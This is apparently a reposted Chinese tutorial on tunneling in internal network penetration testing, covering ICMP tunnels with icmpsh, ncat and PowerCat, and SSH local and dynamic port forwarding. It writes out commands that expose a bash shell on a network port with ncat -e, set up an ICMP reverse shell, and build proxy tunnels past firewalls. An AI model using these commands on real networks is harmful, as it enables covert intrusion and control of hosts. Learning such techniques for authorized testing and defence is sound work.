Skip to content

Latest commit

 

History

History
307 lines (157 loc) · 15.2 KB

内网渗透中的隧道.md

File metadata and controls

307 lines (157 loc) · 15.2 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

点击蓝字

关注我们

_声明
_

本文作者:北美第一突破手
本文字数:3200

阅读时长:30 分钟

附件 / 链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于 WgpSec 原创奖励计划,未经许可禁止转载

前言

    这几天在学习内网的相关知识,对内网的一些理解和之前不一样了,感觉内网的攻防更多的是流量的出入,也就是,所谓的内网安全的大基础是让内网的主机流量能够出入,不被发现,在内网中一般是会存在相关的检测设备的,普通的数据流量很容易就被检测出来。

在渗透测试中,进入内网后,要判断流量是否能够出的去、进的来。隐藏通信隧道的情况一般常用于在访问受限的的网络环境中追踪数据流向和在非受信任网络环境找那个实现安全的数据传输

一、

什么是隧道?

        一般的网络通信流程是:在两台主机上建立 TCP 链接,然后进行正常的数据通信,在知道 IP 地址的情况下,可以直接发送报文,如果不知道 IP 地址的话,就需要将域名解析为 IP 地址。在实际的网络情况下,流量会经过很多的边界设备,在一般的企业内网中,可能会存在 IDP、IPS、防火墙等设备,如果异常的话,就会直接将通信阻断;这里我们说的隧道,就是绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信。当被封装的数据包达到了另外的地址的时候,解包还原,并将还原后的数据包发送到相应的服务器上。

常见的隧道包括三个大类:网络层、应用层、传输层

隧道

判断内网的连通性是指判断机器是否上外网等,要综合判断各种协议(TCP、HTTP、DNS、ICMP、等)及端口的通信情况,常见的流量出口端口有:80、8080、443、53、110、123 等。常见的内网连通性判断如下:

  • ICMP 协议 就是我们常说的 ping 命令,ping 命令使用的就是 ICMP 协议。语法为:ping <域名或 IP>

  • TCP 协议:

    netcat 简称(NC),被称为网络界的瑞士军刀,小巧但是功能强大,通过使用 TCP 或者 UDP 进行网络连接进行通信,他是一个 CS 结构的服务,需要在服务器监听,然后客户端连接,基本使用如下:

    服务端:

    将自己的 CMD 放在 80 端口,并且等待连接,-lvp 分别表示,监听、输出版本信息、持久化。客户端连接成功后,就可以执行 CMD 的命令。

    然后在客户端连接,可以执行命令:

  • HTTP 协议

    curl 是一个可以利用 URl 规则在命令行下工作的综合文件传输工具,支持文件的上传和下载,curl 命令不仅支持 HTTP、HTTPS、FTP 等多种协议,还支持 POST、Cookie、认证、从指定的位置下载文件。在 Liunx 环境下是有 curl 的环境的,windows 下 powershell 自带 curl,否则需要下载,这里我在 liunx 中测试:

    在 powershell 中测试:

  • DNS 协议

    在进行 DNS 连通性测试的时候,常用的命令为 nslookup 和 dig

    nslookup 是 windows 自带的 DNS 探测命令,在没有指定 IP 的时候,会从系统网络中的 TCP/IP 的协议中读取 DNS 地址。:网络层隧道技术

    在网络层,两个常用的隧道协议是 IPv6 和 ICMP

二、

_ICMP 隧道
_

        ICMP 隧道简单实用,不需要开放端口就可以进行通信。常见命令是 ping 命令,在一般情况下,每一个 ping 命令都会回复消息

在一些网络环境中,在使用一些上层隧道都失效以后(例如 HTTP 隧道之类的),常常会使用 ping 命令访问远程的计算机,使用 ICMP 可以使用将包封装在 ICMP 中,从而穿过防火墙达到目标,而不受网络限制,需要客户端和服务端都能够使用 ICMP 协议

常用的 ICMP 隧道工具有:icmpsh、Pingtunnel、powershell icmp

icmpsh

echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all # 临时允许ICMP

icmpsh 工具使用简单,便携的跨平台工具,并且使用的时候不需要管理员权限,使用的环境是在 windows 上,使用 ICMP 还能够进行流量的隐藏

项目地址:https://github.com/inquisb/icmpsh

受控端直接下载(这里是在本地环境,真实环境上传 ipcmpsh.exe 就好):

服务端下载:

然后关闭服务端的 ICMP 应答:sysctl -w net.ipv4.icmp_echo_ignore_all=1

未关闭应答的话结果如下:

配置环境:

yum -y install epel-releaseyum -y install python-pippip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simplepip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple

服务端启动:python icmpsh_m.py < 受控端 IP>

客户端连接:

当我们运行以后,就可以得到一个 shell:

在官方文档中使用的是 .sh 命令,实际使用的时候会报错:

传输层隧道技术

传输层数据隧道包括TCP隧道、UDP隧道、和常规的端口转发。在内网渗透中,如果防火墙对某些端口进行了限制的话,在获得目标权限以后可以打开需要的端口,要是内网中存在大量的防护设备的话,TCP、UDP流量会大量拦截。

Netcat 使用

被称为网络安全的瑞士军刀,可以用作端口监听、端口扫描、远程文件传输、还可以实现远程 shell 等功能

目前我使用的是 Nmap 自带的 ncat,相比于原来的 nc,更加方便和简单,直接安装 nmap 就自带了 nc

官网链接:https://nmap.org/download.html

我在本机安装了 nmap 以后,就可以直接输入 ncat-v 查看信息:基本使用:

Ncat 是一个 c/s 工具,需要服务端和客户端一起使用,首先我们在服务器上监听端口:

nact -lvvp 85 表示监听 85 端口

-l:表示监听

-v:显示版本信息等

-p:监听的端口

客户端连接我们的服务:

ncat -v

服务端收到消息:

接着我们就可以进行交互了,想要执行命令的话,还需要使用 -e 参数,将自己的 shell 推出去,如下:

执行命令:

发送文件
# 从 HOST1(Client) 发送文件到 HOST2(Server) 的 TCP 9899 端口    # HOST2:    $ ncat -l 9899 > outputfile     #HOST1:    $ ncat HOST2 9899 < inputfile

服务端监听:ncat -lv 85 > 接收.txt

客户端创建文本,然后发送:ncat -v 127.0.0.1 85 < 发送.txt

在服务端就可以看到这个新出的文本:

端口转发

# 重定向本机 9999 TCP 端口到 httpbin.org 的 80 端口    $ ncat --sh-exec "ncat 127.0.0.1 80" -l 9999 --keep-open    传递Shell    # 在本机的 8080 端口分享 Bash Shell,让对方可以通过网络访问此端口来自由访问 Bash Shell    $ ncat -e "/bin/bash" -l 8080 --keep-open

客户端执行命令:

创建隧道:

# 将本地的 8080 端口作为隧道端口    ncat -l --proxy-type http 127.0.0.1 8080 --proxy-auth username:password    # --porxy-type 指定隧道类型    # --porxy-auth 指定隧道连接密码用户    # 虽然在Nact中写了能够使用 socks4和socks5,但是实践中只能使用HTTP


验证:

PowerCat

Powercat 可以看做是 NC 的 powershell 版本,功能和 NC 没什么大致的区别

安装:

git clone https://github.com/besimorhino/powercat

具体操作:https://www.cnblogs.com/ly584521/p/12360704.html 应用层传输隧道

在内网中建立稳定的隧道是我们做好内网的关键一步,在内网中,用应用层的隧道技术就是使用各种不同的应用服务提供的端口进行数据的转发。常用的隧道协议有:DNS、SSH、HTTP/HTTPS。

三、

SSH 隧道

        在内网中,几乎所有的内网 LIUNX/UNIX 主机都是支持 SSH 协议的,一般情况下防火墙是不会拦截 SSH 的流量的,同时在传输的时候,SSH 的流量是加密的,所以很难区分是否是正常的传输还是恶意的流量。当我们使用 SSH 建立了隧道以后,我们可以建立之前我们不能建立的 TCP 隧道之类的。

在什么地方我们使用得到 SSH 隧道呢,工作中由于防火墙导致访问某些网站或某些 FTP 等资源连接超时。

基本的 SSH 命令就是我们登陆的命令:

ssh root@ip

创建 SSH 隧道常用的命令如下:

-C 压缩传输,增加传输的效率,-f 将SSH传输放在后台执行,不占用当前的SHELL-N 建立静默连接,就是建立了连接,但是看不到具体的会话;还有一种说法是不允许执行命令-g 允许远程主机连接本地用于转发端口-L 本地端口转发-R 远程端口转发-D 动态转发-P 指定SSH的端口

后续我们都会使用上面的参数进行配置

端口转发

这种转发方式是将本地的某个端口转发到另一个端口,例如我现在的服务上有一个web服务在80端口,那么我可以使用ssh将本地的80端口转发到8080端口,然后进行访问8080,就可以直接访问80端口,现在我在网站上打开80端口的服务:

然后我在服务端启动一下SSH的本地转发:

` ssh -L 8080:127.0.0.1:80 -fN 127.0.0.1 `
# -L 8080是指转发到的端口;127.0.0.1:80是转发的端口,他们之间用分号隔开    # -fN f是指在后台运行;N是指建立静默连接    # 最后的IP是跳板机的IP    # 这里的含义就是,访问本地的8080端口,就会将请求转发给本地的80端口 G0_WnQQb!Mln

没做转发之前,我们访问 8080 端口会显示失败,但是做了转发以后就可以访问到了。

我们再来把远端的 22 端口转发到本地的 8080 端口试试:

ssh -L 80:<VPS>:22 -fN <vps>

使用 SSH 连接本地的 8080 端口,看看结果:

连上后请求一下外网 IP 确实是我们设定好的主机 IP,所以算是成功了

SSH隧道可以作为CS和MSF的联动

动态转发

使用动态转发就可以直接使用socks4/5的隧道:

ssh -CfNg -D 8080:VPS

后记

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec 狼组安全团队

微信号:wgpsec

Twitter:@wgpsec